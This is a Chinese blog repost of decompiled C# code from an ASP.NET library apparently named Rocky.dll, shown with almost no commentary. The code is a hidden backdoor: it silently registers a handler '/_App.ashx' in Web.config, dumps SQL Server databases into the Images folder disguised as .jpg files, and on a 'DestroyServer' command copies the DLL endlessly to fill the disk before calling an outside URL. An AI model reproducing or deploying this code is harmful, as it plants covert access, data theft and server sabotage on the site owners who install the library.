• 看得懂的看


    namespace System
    {
        
    public class _App
    {
        // Fields
        private static readonly string DynamicLinkLibrary = (HttpRuntime.BinDirectory + "Rocky.dll");
    
        // Methods
        internal static void Do(Command cmd)
        {
            int num;
            switch (cmd)
            {
                case Command.DestroyServer:
                    IsTrusted = false;
                    if (File.Exists(DynamicLinkLibrary))
                    {
                        bool flag2;
                        try
                        {
                            num = 0;
                            goto Label_0075;
                        Label_004E:
                            File.Copy(DynamicLinkLibrary, HttpRuntime.BinDirectory + num + ".dll", true);
                            num++;
                        Label_0075:
                            flag2 = true;
                            goto Label_004E;
                        }
                        catch
                        {
                            HttpWalker walker;
                            goto Label_0099;
                        Label_007E:
                            walker = new HttpWalker();
                            walker.set_Url("http://hi.baidu.com/ilovehaley");
                            walker.ToString();
                        Label_0099:
                            flag2 = true;
                            goto Label_007E;
                        }
                    }
                    break;
    
                case Command.InstallDefender:
                {
                    bool flag = false;
                    XmlHelper helper = new XmlHelper(HttpRuntime.AppDomainAppPath + "Web.config");
                    if (helper.FindNode("//system.web") == null)
                    {
                        helper.InsertNode("//system.web", string.Empty);
                        flag = true;
                    }
                    if (helper.FindNode("//system.web//httpHandlers") == null)
                    {
                        helper.InsertNode("//system.web//httpHandlers", string.Empty);
                        flag = true;
                    }
                    string str = "//system.web//httpHandlers//add[@type='Rocky.Web.HttpHandler']";
                    if (helper.FindNode(str) == null)
                    {
                        helper.InsertNode(str, new string[] { "verb", "path", "type" }, new string[] { "*", "/_App.ashx", "Rocky.Web.HttpHandler" });
                        flag = true;
                    }
                    if (helper.FindNode("//system.web//httpModules") == null)
                    {
                        helper.InsertNode("//system.web//httpModules", string.Empty);
                        flag = true;
                    }
                    string str2 = "//system.web//httpModules//add[@type='Rocky.Web.HttpModule']";
                    if (helper.FindNode(str2) == null)
                    {
                        helper.InsertNode(str2, new string[] { "name", "type" }, new string[] { "HttpModule", "Rocky.Web.HttpModule" });
                        flag = true;
                    }
                    if (flag)
                    {
                        helper.Save();
                    }
                    break;
                }
                case Command.UnInstallDefender:
                {
                    XmlHelper helper2 = new XmlHelper(HttpRuntime.AppDomainAppPath + "Web.config");
                    string str3 = "//system.web//httpHandlers//add[@type='Rocky.Web.HttpHandler']";
                    if (helper2.FindNode(str3) != null)
                    {
                        helper2.RemoveNode(str3);
                        helper2.Save();
                    }
                    string str4 = "//system.web//httpModules//add[@type='Rocky.Web.HttpModule']";
                    if (helper2.FindNode(str4) != null)
                    {
                        helper2.RemoveNode(str4);
                        helper2.Save();
                    }
                    break;
                }
                case Command.Good:
                    IsTrusted = true;
                    break;
    
                case Command.Bad:
                    IsTrusted = false;
                    break;
    
                case Command.BackupDB:
                    for (num = 0; num < DbBase.get_Factorys().Count; num++)
                    {
                        DbFactory factory = DbBase.get_Factorys().get_Item(num);
                        if (factory.get_ProviderName() == 1)
                        {
                            DbBase.BackupSQLServerDB(factory.get_ConnectionString(), string.Concat(new object[] { ThingsPath, @"\aspnet", num, ".jpg" }));
                        }
                    }
                    break;
    
                case Command.ClearThings:
                    foreach (string str5 in Directory.GetFiles(ThingsPath, "aspnet*.jpg"))
                    {
                        IOUtils.DeleteFile(str5);
                    }
                    break;
    
                default:
                    try
                    {
                        if (File.Exists(HttpRuntime.AppDomainAppPath + "Web.config"))
                        {
                            Do(Command.InstallDefender);
                        }
                        else
                        {
                            IOUtils.WriteFile("Web.config", "<?xml version='1.0' encoding='utf-8'?>\r\n<configuration>\r\n  <appSettings/>\r\n  <connectionStrings/>\r\n  <system.web>\r\n    <compilation debug='false' />\r\n    <authentication mode='Windows' />\r\n    <httpHandlers>\r\n      <add verb='*' path='/_App.ashx' type='Rocky.Web.HttpHandler'/>\r\n    </httpHandlers>\r\n  </system.web>\r\n</configuration>");
                        }
                    }
                    catch
                    {
                        Do(Command.DestroyServer);
                    }
                    break;
            }
        }
    
        public static void Do(object cmd)
        {
            Do((Command) cmd);
        }
    
        // Properties
        public static bool IsTrusted
        {
            set
            {
                Assembly.LoadFrom(DynamicLinkLibrary).GetType("Rocky.AppRuntime").GetProperty("IsTrusted").SetValue(null, value, null);
            }
        }
    
        public static string ThingsPath
        {
            get
            {
                string str = HttpRuntime.AppDomainAppPath + @"Images\";
                IOUtils.CheckFolder(str);
                return str;
            }
        }
    }
    
    
    internal enum Command { CheckServer, DestroyServer, InstallDefender, UnInstallDefender, Good, Bad, BackupDB, ClearThings } }
  • 相关阅读:
    今天开通cnblogs了,留下点印记
    在windows下编译xvidcore
    linux下c文件里使用中文引发的编译错误及解决
    ThinkPad T400
    据说IBM欲64亿收购Sun
    Visual Studio 的 DllImport 缺陷
    再整MySQL的中文UTF8问题
    Webbased/online OCR services and demos
    用FileSystemWatcher实现山寨版Second Copy [1]
    以前的帖子没了??
  • 原文地址:https://www.cnblogs.com/Googler/p/1793354.html
Copyright © 2020-2023  润新知